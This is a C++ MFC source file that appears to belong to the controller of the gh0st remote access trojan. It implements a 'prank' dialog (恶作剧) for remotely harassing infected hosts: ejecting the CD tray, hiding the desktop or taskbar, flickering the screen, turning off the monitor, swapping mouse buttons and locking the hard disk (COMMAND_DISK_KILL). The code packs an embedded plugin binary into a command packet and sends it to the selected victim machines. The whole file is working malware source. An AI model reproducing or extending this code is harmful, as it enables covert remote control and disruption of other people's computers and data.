2024-06-23 17:36:53 +08:00

158 lines
3.6 KiB
C++

// PrankDlg.cpp : implementation file
//
#include "stdafx.h"
#include "gh0st.h"
#include "PrankDlg.h"
#include "Gh0stView.h"
#include "PcView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
extern CGh0stView* g_pTabView;
/////////////////////////////////////////////////////////////////////////////
// CPrankDlg dialog
CPrankDlg::CPrankDlg(CWnd* pParent /*=NULL*/)
: CDialog(CPrankDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CPrankDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
}
void CPrankDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CPrankDlg)
DDX_Control(pDX, IDC_COMBO_PRANK_TYPE, m_combo_prank_type);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CPrankDlg, CDialog)
//{{AFX_MSG_MAP(CPrankDlg)
ON_BN_CLICKED(IDC_BUTTON_SEND, OnButtonSend)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CPrankDlg message handlers
BOOL CPrankDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
SetWindowText("恶作剧");
m_combo_prank_type.AddString("弹出光驱");
m_combo_prank_type.AddString("收回光驱");
m_combo_prank_type.AddString("桌面隐藏");
m_combo_prank_type.AddString("显示隐藏");
m_combo_prank_type.AddString("噪音");
m_combo_prank_type.AddString("闪屏");
m_combo_prank_type.AddString("关闭显示器");
m_combo_prank_type.AddString("打开显示器");
m_combo_prank_type.AddString("隐藏任务栏");
m_combo_prank_type.AddString("显示任务栏");
m_combo_prank_type.AddString("鼠标左右互换");
m_combo_prank_type.AddString("鼠标互换关闭");
m_combo_prank_type.AddString("硬盘锁");
m_combo_prank_type.SetCurSel(0);
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
enum
{
COMMAND_CD_OPEN,
COMMAND_CD_CLOSE,
COMMAND_DESKTOP_HIDE,
COMMAND_DESKTOP_SHOW,
COMMAND_NOISE,
COMMAND_FLICKER,
COMMAND_DISPLAY_CLOSE,
COMMAND_DISPLAY_OPEN,
COMMAND_TASKBAR_HIDE,
COMMAND_TASKBAR_SHOW,
COMMAND_MOUSE_PANK,
COMMAND_MOUSE_RECOVER,
COMMAND_DISK_KILL
};
#include "..\Bin\Plugins\C_PRANK.h"
void CPrankDlg::OnButtonSend()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
int nItems = pView->m_pListCtrl->GetItemCount();
if ( nItems == 0)
{
AfxMessageBox( "没有选择主机" );
return;
}
int nPacketLength = (PRANKMyFileSize )*sizeof(char)+2;
LPBYTE lpPacket = new BYTE[nPacketLength];
lpPacket[0] = COMMAND_PRANK;
switch(m_combo_prank_type.GetCurSel())
{
case 0:
lpPacket[1] = COMMAND_CD_OPEN;
break;
case 1:
lpPacket[1] = COMMAND_CD_CLOSE;
break;
case 2:
lpPacket[1] = COMMAND_DESKTOP_HIDE;
break;
case 3:
lpPacket[1] = COMMAND_DESKTOP_SHOW;
break;
case 4:
lpPacket[1] = COMMAND_NOISE;
break;
case 5:
lpPacket[1] = COMMAND_FLICKER;
break;
case 6:
lpPacket[1] = COMMAND_DISPLAY_CLOSE;
break;
case 7:
lpPacket[1] = COMMAND_DISPLAY_OPEN;
break;
case 8:
lpPacket[1] = COMMAND_TASKBAR_HIDE;
break;
case 9:
lpPacket[1] = COMMAND_TASKBAR_SHOW;
break;
case 10:
lpPacket[1] = COMMAND_MOUSE_PANK;
break;
case 11:
lpPacket[1] = COMMAND_MOUSE_RECOVER;
break;
case 12:
lpPacket[1] = COMMAND_DISK_KILL;
break;
default:
AfxMessageBox("BUG");
delete[] lpPacket;
return;
}
memcpy(lpPacket + 2, (void*)PRANKMyFileBuf, nPacketLength - 2);
pView->SendSelectCommand(lpPacket,nPacketLength);
delete[] lpPacket;
}